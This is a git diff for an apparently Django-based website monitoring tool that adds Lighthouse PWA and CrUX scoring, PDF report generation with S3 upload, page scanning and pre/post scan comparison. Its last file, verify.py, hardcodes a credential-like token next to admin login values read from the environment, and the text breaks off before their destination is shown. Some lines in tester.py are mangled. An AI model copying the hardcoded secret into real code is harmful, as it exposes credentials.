"best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] } - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` list + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj for cat in audits: cat_audits = stdout_json["categories"][cat]["auditRefs"] for a in cat_audits: if int(a["weight"]) > 0: audit = stdout_json["audits"][a["id"]] audits[cat].append(audit) - + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') # get scores from each category seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - average_score = (seo_score + accessibility_score + performance_score + best_practices_score)/4 + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) scores = { - "seo": str(seo_score), - "accessibility": str(accessibility_score), - "performance": str(performance_score), - "best_practices": str(best_practices_score), - "average": str(average_score), + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score } + data = { "scores": scores, "audits": audits @@ -89,7 +114,9 @@ def get_data(self): "accessibility": None, "performance": None, "best_practices": None, - "average": None, + "pwa": None, + "crux": None, + "average": None } audits = { @@ -97,6 +124,8 @@ def get_data(self): "accessibility": [], "performance": [], "best_practices": [], + "pwa": [], + "crux": [] } data = { diff --git a/app/api/utils/report_assets/cover_img.png b/app/api/utils/report_assets/cover_img.png new file mode 100644 index 00000000..ac6e1b5e Binary files /dev/null and b/app/api/utils/report_assets/cover_img.png differ diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py new file mode 100644 index 00000000..77dffb4a --- /dev/null +++ b/app/api/utils/reporter.py @@ -0,0 +1,466 @@ +from ..models import * +import time, os, sys, json, boto3 +import PIL.Image as Img +from scanerr import settings +from datetime import datetime, timedelta +from reportlab.lib.pagesizes import letter +from reportlab.lib.units import inch +from reportlab.lib.colors import HexColor +from reportlab.pdfgen import canvas + + + +class Reporter(): + + ''' + Used for generating web vitals reports for the passed `Site` obj + + Expects -> { + "report": , + } + + returns --> + + ''' + + def __init__(self, report, scan=None): + self.report = report + self.site = self.report.site + if scan is None: + self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id']) + else: + self.scan = scan + + #building paths & canvas template + if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + else: + os.makedirs(f'{settings.BASE_DIR}/temp') + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + + self.page_index = 0 + self.text_color = self.report.info['text_color'] + self.highlight_color = self.report.info['highlight_color'] + self.background_color = self.report.info['background_color'] + self.c = canvas.Canvas(self.local_path, letter) + self.y = 9 + + + def setup_page(self): + # sets the defaults for a new page + self.c.setFillColor(HexColor(self.background_color)) + self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1) + + + def end_page(self): + # adds page number and ends page + self.c.setFont('Helvetica-Bold', 15) + self.c.setFillColor(HexColor(self.text_color)) + self.page_index += 1 + self.c.drawString(7.7*inch, .3*inch, str(self.page_index)) + self.c.showPage() + + + def draw_page_title(self, title): + # adds a title to the given page + self.c.setFont('Helvetica-Bold', 32) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawCentredString(4.25*inch, 10*inch, title) + + + def publish_report(self): + self.c.save() + remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf' + s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # uploading package to remote s3 + with open(self.local_path, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={ + 'ACL': 'public-read', 'ContentType': 'application/pdf'} + ) + + report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0' + + self.report.path = report_url + self.report.save() + os.remove(self.local_path) + + + + def cover_page(self): + # background and title + self.setup_page() + + # creating dark triangle + p = self.c.beginPath() + p.moveTo(0*inch, 11*inch) + p.lineTo(7*inch, 11*inch) + p.lineTo(2.5*inch, 4.5*inch) + p.lineTo(0*inch, 7*inch) + self.c.setFillColor(HexColor('#00000026', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#00000026', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # crating light triangle + p = self.c.beginPath() + p.moveTo(0*inch, 0*inch) + p.lineTo(0*inch, 7*inch) + p.lineTo(7*inch, 0*inch) + self.c.setFillColor(HexColor('#0000000D', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#0000000D', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # date + date = f'{self.scan.time_created.month}/{self.scan.time_created.day}/{self.scan.time_created.year}' + self.c.setFont('Helvetica-Bold', 24) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 7.5*inch, date) + + # title + self.c.setFont('Helvetica-Bold', 45) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') + if len(self.site.site_url) <= 12: + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + elif 12 < len(self.site.site_url): + extra_chars = len(self.site.site_url) - 12 + m = (3/5) + self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + # cover img + cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png") + self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto') + + self.end_page() + + + + + def get_score_data(self, score, is_binary=False): + score = float(score) + if is_binary: + score = score*100 + + score_types = { + "a": { + "grade": "A", + "color": "#38B43F", + }, + "b": { + "grade": "B", + "color": "#82B436", + }, + "c": { + "grade": "C", + "color": "#ACB43C", + }, + "d": { + "grade": "D", + "color": "#B49836", + }, + "e": { + "grade": "E", + "color": "#B46B34", + }, + "f": { + "grade": "F", + "color": "#B43A29", + }, + + } + + if score >= 80: + grade = score_types['a'] + elif 80 > score >= 70: + grade = score_types['b'] + elif 70 > score >= 50: + grade = score_types['c'] + elif 50 > score >= 30: + grade = score_types['d'] + elif 30 > score >= 0: + grade = score_types['e'] + else: + grade = score_types['f'] + + return grade + + + def get_cat_string(self, cat): + + if cat == 'fonts': + string = 'Fonts' + elif cat == 'badCSS': + string = 'Bad CSS' + elif cat == 'jQuery': + string = 'jQuery' + elif cat == 'requests': + string = 'Requests' + elif cat == 'pageWeight': + string = 'Page Weight' + elif cat == 'serverConfig': + string = 'Server Config' + elif cat == 'badJavascript': + string = 'Bad JS' + elif cat == 'cssComplexity': + string = 'CSS Complexity' + elif cat == 'domComplexity': + string = 'DOM Complexity' + elif cat == 'javascriptComplexity': + string = 'JS Complexity' + elif cat == 'seo': + string = 'SEO' + elif cat == 'pwa': + string = 'PWA' + elif cat == 'crux': + string = 'CRUX' + elif cat == 'best_practices' or cat == 'best-practices': + string = 'Best Practices' + elif cat == 'performance': + string = 'Performance' + elif cat == 'accessibility': + string = 'Accessibility' + + return string + + + + def create_data(self, data_type=str): + self.setup_page() + + if data_type == 'yellowlab': + data = self.scan.yellowlab + page_title = 'Yellow Lab' + avg_score = 'globalScore' + + if data_type == 'lighthouse': + data = self.scan.lighthouse + page_title = 'Lighthouse' + avg_score = 'average' + + self.draw_page_title(page_title) + if data['scores'][avg_score] is None: + return False + + # measurements + space = .25 + text_space = .05 + begin_y = 8 + log_margin = 3.7 + text_margin = .3 + value_margin = 3 + log_height = .2 + log_width = 4 + grade_tab_width = .07 + + c_count = 0 + logs_count = 0 + for cat in data['audits']: + + # checking if cat is not null + if data['scores'][cat] is not None: + + # creating global score + if c_count == 0: + grade_obj = self.get_score_data(data['scores'][avg_score]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + 2*inch, + 8.7*inch, + 1*inch, + 1*inch, + .17*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 30) + self.c.drawCentredString( + 2.5*inch, + 9.05*inch, + grade_obj['grade'] + ) + self.c.setFont('Helvetica', 20) + self.c.drawCentredString( + 5.5*inch, + 8.9*inch, + 'Global Score' + ) + self.c.setFont('Helvetica-Bold', 20) + self.c.drawCentredString( + 5.5*inch, + 9.25*inch, + f'{data["scores"][avg_score]}/100' + ) + + + # creating new page at limit --> 20 items + if logs_count >= 20: + self.end_page() + logs_count = 0 + begin_y = 9 + self.setup_page() + self.draw_page_title(f'{page_title} (continued)') + + # creating space btw sections + if c_count > 0 and logs_count != 0: + begin_y = (self.y - .2) + + + + # creating individual grade cards + grade_obj = self.get_score_data(data['scores'][cat]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + .5*inch, + (begin_y - .25)*inch, + .5*inch, + .5*inch, + .12*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 16) + self.c.drawCentredString( + .75*inch, + (begin_y - .07)*inch, + grade_obj['grade'] + ) + + self.c.setFont('Helvetica', 16) + cat_string = self.get_cat_string(cat) + self.c.drawCentredString( + 2.3*inch, + (begin_y - .07)*inch, + cat_string + ) + + + p_count = 0 + for policy in data['audits'][cat]: + + if (begin_y - (space * p_count)) < 1: + break + + # setting up keys for dict(s) + if data_type == 'yellowlab': + policy_text = policy["policy"]["label"] + policy_value = policy["value"] + binary = False + if data_type == 'lighthouse': + policy_text = policy["title"] + policy_value = '' + if "displayValue" in policy: + if len(policy["displayValue"]) < 9: + policy_value = policy["displayValue"] + binary = True + + + if len(policy_text) < 53: + # creating log box + self.c.setFont('Helvetica', 9) + self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + log_width*inch, log_height*inch, + stroke=0, + fill=1 + ) + + # get grade tab + grade_obj = self.get_score_data(policy['score'], is_binary=binary) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + grade_tab_width*inch, + log_height*inch, + stroke=0, + fill=1 + ) + + # inserting data + self.c.setFillColor(HexColor(self.text_color)) + + # text + self.c.drawString( + (log_margin + text_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_text}') + ) + + # value + self.c.drawString( + (value_margin + text_margin + log_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_value}') + ) + + + p_count += 1 + logs_count += 1 + self.y = (begin_y - (space * p_count)) + + c_count += 1 + + + + self.end_page() + + + + + + + + + + + + + + + + + + + + + + + + + + + + def make_test_report(self): + + self.cover_page() + + if 'lighthouse' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='lighthouse') + + if 'yellowlab' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='yellowlab') + + if 'crux' in self.report.type or 'full' in self.report.type: + self.setup_page() + self.draw_page_title('CRUX') + self.end_page() + + self.publish_report() + return self.report + + + + + + + \ No newline at end of file diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py new file mode 100644 index 00000000..cbbb9fc0 --- /dev/null +++ b/app/api/utils/scanner.py @@ -0,0 +1,200 @@ +from .driver_s import driver_init as driver_s_init, quit_driver +from .driver_s import driver_wait +from .driver_p import get_data +from ..models import Site, Scan, Test +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from .lighthouse import Lighthouse +from .yellowlab import Yellowlab +from .image import Image +from datetime import datetime +import time, os, sys, json, asyncio + + + +class Scanner(): + + def __init__( + self, + site=None, + scan=None, + configs=None, + ): + + if site == None and scan != None: + site = scan.site + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + self.site = site + + if configs['driver'] == 'selenium': + self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) + + if scan is not None: + self.scan = scan + else: + self.scan = None + + self.configs = configs + + + + def first_scan(self): + """ + Method to run a scan independently of an existing `scan` obj. + + returns -> `Scan` + """ + if self.scan is None: + self.scan = Scan.objects.create(site=self.site) + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + html = self.driver.page_source + logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + quit_driver(self.driver) + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + html = driver_data['html'] + logs = driver_data['logs'] + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + self.scan.html = html + self.scan.logs = logs + self.scan.images = images + self.scan.lighthouse = lh_data + self.scan.yellowlab = yl_data + self.scan.configs = self.configs + self.scan.time_completed = datetime.now() + self.scan.save() + first_scan = self.scan + + self.update_site_info(first_scan) + + return first_scan + + + + + + def second_scan(self): + """ + Method to run a scan and attach existing `scan` obj to it. + + returns -> `Scan` + """ + if not self.scan: + first_scan = Scan.objects.filter( + site=self.site + ).order_by('-time_created').first() + + else: + first_scan = self.scan + + # create second scan obj + second_scan = Scan.objects.create(site=self.site) + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + html = self.driver.page_source + logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + quit_driver(self.driver) + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + html = driver_data['html'] + logs = driver_data['logs'] + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() + + second_scan.paired_scan = first_scan + second_scan.html = html + second_scan.logs = logs + second_scan.lighthouse = lh_data + second_scan.images = images + second_scan.yellowlab = yl_data + second_scan.configs = self.configs + + second_scan.time_completed = datetime.now() + second_scan.save() + + first_scan.paried_scan = second_scan + first_scan.save() + + self.update_site_info(second_scan) + + return second_scan + + + + def update_site_info(self, scan): + + health = 'No Data' + badge = 'neutral' + d = 0 + score = 0 + + if scan.lighthouse['scores']['average'] is not None: + score += float(scan.lighthouse['scores']['average']) + d += 1 + if scan.yellowlab['scores']['globalScore'] is not None: + score += float(scan.yellowlab['scores']['globalScore']) + d += 1 + + if score != 0: + score = score / d + + if score >= 75: + health = 'Good' + badge = 'success' + elif 75 > score >= 60: + health = 'Okay' + badge = 'warning' + elif 60 > score: + health = 'Poor' + badge = 'danger' + + else: + if self.site.info['status']['score'] is not None: + score = float(self.site.info['status']['score']) + else: + score = None + + self.site.info['latest_scan']['id'] = str(scan.id) + self.site.info['latest_scan']['time_created'] = str(scan.time_created) + self.site.info['latest_scan']['time_completed'] = str(scan.time_completed) + self.site.info['lighthouse'] = scan.lighthouse['scores'] + self.site.info['yellowlab'] = scan.yellowlab['scores'] + self.site.info['status']['health'] = str(health) + self.site.info['status']['badge'] = str(badge) + self.site.info['status']['score'] = score + + self.site.save() + + return self.site \ No newline at end of file diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py new file mode 100644 index 00000000..a96159de --- /dev/null +++ b/app/api/utils/tester.py @@ -0,0 +1,585 @@ +from ..models import Site, Scan, Test +import time, os, sys, json, random, string, re +from difflib import SequenceMatcher, HtmlDiff, Differ +from datetime import datetime +from .image import Image + + + +class Tester(): + + def __init__(self, test): + self.test = test + self.pre_scan_html = [] + self.post_scan_html = [] + self.pre_scan_logs = [] + self.post_scan_logs = [] + self.delta_html_post = [] + self.delta_html_pre = [] + + + def clean_html(self): + pre_scan_html = self.test.pre_scan.html.splitlines() + post_scan_html = self.test.post_scan.html.splitlines() + + white_list = ['csrfmiddlewaretoken', '',] + tags = [ + '', '', new_line) + for sub in subStrings: + if sub not in tags: + self.pre_scan_html.append((sub+'>')) + + for line in post_scan_html: + for item in white_list: + if item in line: + post_scan_html.remove(line) + for line in post_scan_html: + new_line = line.replace('\t', '').replace('\\', '').replace('"\"', '') + subStrings = re.split('>', new_line) + for sub in subStrings: + if sub not in tags: + self.post_scan_html.append((sub+'>')) + + return + + + def clean_logs(self): + pre_scan_logs_json = self.test.pre_scan.logs + post_scan_logs_json = self.test.post_scan.logs + order = ("level", "source", "message") + + + for log in pre_scan_logs_json: + new_log = {} + for label in order: + for key in log: + if key == label: + new_log[label] = log.get(key) + self.pre_scan_logs.append(json.dumps(new_log)) + + + for log in post_scan_logs_json: + new_log = {} + for label in order: + for key in log: + if key == label: + new_log[label] = log.get(key) + self.post_scan_logs.append(json.dumps(new_log)) + + return + + + def compare_html(self): + self.clean_html() + pre_scan = self.pre_scan_html + post_scan = self.post_scan_html + html_raw_score = SequenceMatcher( + None, pre_scan, post_scan + ).ratio() + + return html_raw_score + + + + def compare_logs(self): + self.clean_logs() + pre_scan = list(self.pre_scan_logs) + post_scan = list(self.post_scan_logs) + logs_raw_score = SequenceMatcher( + None, pre_scan, post_scan + ).ratio() + + return logs_raw_score + + + def delta_html(self): + num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) + num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) + if num_html_ratio > 1: + num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) + + for line in self.post_scan_html: + if line not in self.pre_scan_html: + self.delta_html_post.append(line) + + for line in self.pre_scan_html: + if line not in self.post_scan_html: + self.delta_html_pre.append(line) + + + pre_micro_delta = self.post_proc_html( + self.delta_html_pre, + self.delta_html_post + ) + + post_micro_delta = self.post_proc_html( + self.delta_html_post, + self.delta_html_pre + ) + + + data = { + "num_html_delta": num_html_delta, + "delta_html_post": self.delta_html_post, + "delta_html_pre": self.delta_html_pre, + "num_html_ratio": num_html_ratio, + "pre_micro_delta": pre_micro_delta, + "post_micro_delta": post_micro_delta, + } + + return data + + + def post_proc_html(self, primary_list, secondary_list): + delta_parsed = [] + delta_parsed_diff = [] + secondary_str = ''.join(str(i) for i in secondary_list) + + # breaking html elements into small 8 chars chunks + for line in primary_list: + subStrings = re.findall('.{1,8}', line) + for sub in subStrings: + delta_parsed.append(sub) + + # checking if small chunk is in other scan + for block in delta_parsed: + if block != None and block != '' and block not in secondary_str: + delta_parsed_diff.append(block) + + data = { + "delta_parsed": delta_parsed, + "delta_parsed_diff": delta_parsed_diff, + } + + return data + + + + + def html_micro_diff_score(self, post_delta_parsed_diff): + + pre_delta_parsed_diff = [] + for line in self.pre_scan_html: + subStrings = re.findall('.{1,8}', line) + for sub in subStrings: + pre_delta_parsed_diff.append(sub) + + diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) + diff_score = diff_length / len(pre_delta_parsed_diff) + + return diff_score + + + + + def post_proc_logs(self, log): + log = json.loads(log) + log["message"].replace("\"", "\'") + letters = string.digits + timestamp = ''.join(random.choice(letters) for i in range(13)) + log['timestamp'] = timestamp + + return log + + + + + def delta_logs(self): + num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) + + if len(self.post_scan_logs) > 0: + num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) + if num_logs_ratio > 1: + num_logs_ratio = 1 + else: + num_logs_ratio = 1 + + delta_logs_post = [] + for log in self.post_scan_logs: + if log not in self.pre_scan_logs: + log = self.post_proc_logs(log) + delta_logs_post.append(log) + + + delta_logs_pre = [] + for log in self.pre_scan_logs: + if log not in self.post_scan_logs: + log = self.post_proc_logs(log) + delta_logs_pre.append(log) + + data = { + "num_logs_delta": num_logs_delta, + "delta_logs_post": delta_logs_post, + "delta_logs_pre": delta_logs_pre, + "num_logs_ratio": num_logs_ratio, + } + + return data + + + + + + def delta_lighthouse(self): + try: + pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo']) + pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility']) + pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance']) + pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices']) + pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) + + post_seo = int(self.test.post_scan.lighthouse["scores"]['seo']) + post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility']) + post_performance = int(self.test.post_scan.lighthouse["scores"]['performance']) + post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices']) + post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) + + try: + pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux']) + post_crux = int(self.test.post_scan.lighthouse["scores"]['crux']) + crux_delta = post_crux - pre_crux + except: + pre_crux = None + post_crux = None + crux_delta = 0 + + seo_delta = post_seo - pre_seo + accessibility_delta = post_accessibility - pre_accessibility + performance_delta = post_performance - pre_performance + best_practices_delta = post_best_practices - pre_best_practices + pwa_delta = post_pwa - pre_pwa + + if post_crux is None: + current_average = ( + post_seo + post_accessibility + post_best_practices + + post_performance + post_pwa + )/5 + + old_average = ( + pre_seo + pre_accessibility + pre_best_practices + + pre_performance + pre_pwa + )/5 + + else: + current_average = ( + post_seo + post_accessibility + post_best_practices + + post_performance + post_pwa + post_crux + )/6 + + old_average = ( + pre_seo + pre_accessibility + pre_best_practices + + pre_performance + pre_pwa + pre_crux + )/6 + + average_delta = current_average - old_average + + except: + seo_delta = None + accessibility_delta = None + performance_delta = None + best_practices_delta = None + pwa_delta = None + crux_delta = None + current_average = None + average_delta = None + + data = { + "scores": { + "seo_delta": seo_delta, + "accessibility_delta": accessibility_delta, + "performance_delta": performance_delta, + "best_practices_delta": best_practices_delta, + "pwa_delta": pwa_delta, + "crux_delta": crux_delta, + "current_average": current_average, + "average_delta": average_delta, + } + } + + return data + + + + + + + def delta_yellowlab(self): + try: + pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore']) + pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight']) + pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests']) + pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity']) + pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity']) + pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript']) + pre_jQuery = int(self.test.pre_scan.yellowlab["scores"]['jQuery']) + pre_cssComplexity = int(self.test.pre_scan.yellowlab["scores"]['cssComplexity']) + pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS']) + pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts']) + pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig']) + + post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore']) + post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight']) + post_requests = int(self.test.post_scan.yellowlab["scores"]['requests']) + post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity']) + post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity']) + post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript']) + post_jQuery = int(self.test.post_scan.yellowlab["scores"]['jQuery']) + post_cssComplexity = int(self.test.post_scan.yellowlab["scores"]['cssComplexity']) + post_badCSS = int(self.test.post_scan.yellowlab["scores"]['badCSS']) + post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts']) + post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig']) + + pageWeight_delta = post_pageWeight - pre_pageWeight + requests_delta = post_requests - pre_requests + domComplexity_delta = post_domComplexity - pre_domComplexity + javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity + badJavascript_delta = post_badJavascript - pre_badJavascript + jQuery_delta = post_jQuery - pre_jQuery + cssComplexity_delta = post_cssComplexity - pre_cssComplexity + badCSS_delta = post_badCSS - pre_badCSS + fonts_delta = post_fonts - pre_fonts + serverConfig_delta = post_serverConfig - pre_serverConfig + + average_delta = post_globalScore - pre_globalScore + current_average = post_globalScore + + except: + pageWeight_delta = None + requests_delta = None + domComplexity_delta = None + javascriptComplexity_delta = None + badJavascript_delta = None + jQuery_delta = None + cssComplexity_delta = None + badCSS_delta = None + fonts_delta = None + serverConfig_delta = None + average_delta = None + current_average = None, + + data = { + "scores": { + "pageWeight_delta": pageWeight_delta, + "requests_delta": requests_delta, + "domComplexity_delta": domComplexity_delta, + "javascriptComplexity_delta": javascriptComplexity_delta, + "badJavascript_delta": badJavascript_delta, + "jQuery_delta": jQuery_delta, + "cssComplexity_delta": cssComplexity_delta, + "badCSS_delta": badCSS_delta, + "fonts_delta": fonts_delta, + "serverConfig_delta": serverConfig_delta, + "average_delta": average_delta, + "current_average": current_average, + } + } + + return data + + + + def update_site_info(self, test): + site = test.site + site.info['latest_test']['id'] = str(test.id) + site.info['latest_test']['time_created'] = str(test.time_created) + site.info['latest_test']['time_completed'] = str(test.time_completed) + site.info['latest_test']['score'] = (round(test.score * 100) / 100) + site.save() + + return site + + + + + + + + def run_test(self, index=None): + + # default scores + html_score = 0 + num_html_ratio = 0 + micro_diff_score = 0 + logs_score = 0 + num_logs_ratio = 0 + lighthouse_score = 0 + yellowlab_score = 0 + images_score = 0 + + # default weights + html_score_w = 0 + num_html_w = 0 + micro_diff_w = 0 + logs_score_w = 0 + num_logs_w = 0 + delta_lh_w = 0 + delta_yl_w = 0 + images_w = 0 + + # default data + html_delta_context = None + logs_delta_context = None + lighthouse_data = None + yellowlab_data = None + images_data = None + + + + if 'html' in self.test.type or 'full' in self.test.type: + # scores + html_score = self.compare_html() + delta_html_data = self.delta_html() + num_html_ratio = delta_html_data['num_html_ratio'] + micro_diff_score = self.html_micro_diff_score( + delta_html_data['post_micro_delta']['delta_parsed_diff'] + ) + + # weights + html_score_w = 1 + num_html_w = 1 + micro_diff_w = 2 + + # data + html_delta_context = { + "pre_html_delta": delta_html_data['delta_html_pre'], + "post_html_delta": delta_html_data['delta_html_post'], + "pre_micro_delta": delta_html_data['pre_micro_delta'], + "post_micro_delta": delta_html_data['post_micro_delta'], + } + + + + if 'logs' in self.test.type or 'full' in self.test.type: + # scores + logs_score = self.compare_logs() + delta_logs_data = self.delta_logs() + num_logs_ratio = delta_logs_data['num_logs_ratio'] + + # weights + logs_score_w = .5 + num_logs_w = 2 + + # data + logs_delta_context = { + "pre_logs_delta": delta_logs_data['delta_logs_pre'], + "post_logs_delta": delta_logs_data['delta_logs_post'], + } + + + + if 'lighthouse' in self.test.type or 'full' in self.test.type: + # scores & data + lighthouse_data = self.delta_lighthouse() + lighthouse_avg = lighthouse_data['scores']['average_delta'] + if lighthouse_avg != None: + lighthouse_score = (100 + lighthouse_avg)/100 + + # weights + if lighthouse_score == None: + delta_lh_w = 0 + elif lighthouse_score > 0: + delta_lh_w = 1 + lighthouse_score = 1 + else: + delta_lh_w = 1 + + + + + if 'yellowlab' in self.test.type or 'full' in self.test.type: + # scores & data + yellowlab_data = self.delta_yellowlab() + yellowlab_avg = yellowlab_data['scores']['average_delta'] + if yellowlab_avg != None: + yellowlab_score = (100 + yellowlab_avg)/100 + + # weights + if yellowlab_score == None: + delta_yl_w = 0 + elif yellowlab_score > 0: + delta_yl_w = 1 + yellowlab_score = 1 + else: + delta_yl_w = 1 + + + + + if 'vrt' in self.test.type or 'full' in self.test.type: + # scores & data + images_data = Image().test(test=self.test, index=index) + if images_data['average_score'] != None: + images_score = images_data['average_score'] / 100 + + # weights + images_w = 4 + + + + total_w = ( + html_score_w + logs_score_w + num_html_w + + num_logs_w + delta_lh_w + micro_diff_w + + images_w + delta_yl_w + ) + + + score = (( + (html_score * html_score_w) + + (logs_score * logs_score_w) + + (num_logs_ratio * num_logs_w) + + (num_html_ratio * num_html_w) + + (lighthouse_score * delta_lh_w) + + (yellowlab_score * delta_yl_w) + + (micro_diff_score * micro_diff_w) + + (images_score * images_w) + ) / total_w) * 100 + + + print( + "Formula was --> ((" + str(html_score*html_score_w) + " + " + + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " + + str(num_html_ratio*num_html_w) + " + " + str(lighthouse_score*delta_lh_w) + + " + " + str(micro_diff_score*micro_diff_w) + " + " + str(images_score * images_w)+ + " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) + ) + + + self.test.time_completed = datetime.now() + self.test.html_delta = html_delta_context + self.test.logs_delta = logs_delta_context + self.test.lighthouse_delta = lighthouse_data + self.test.yellowlab_delta = yellowlab_data + self.test.images_delta = images_data + self.test.score = score + + self.test.save() + + self.update_site_info(self.test) + + return self.test + + + + + + + diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py new file mode 100644 index 00000000..eb119c4f --- /dev/null +++ b/app/api/utils/verify.py @@ -0,0 +1,30 @@ +import os, requests, json + +def verify(): + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') + cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792' + url = 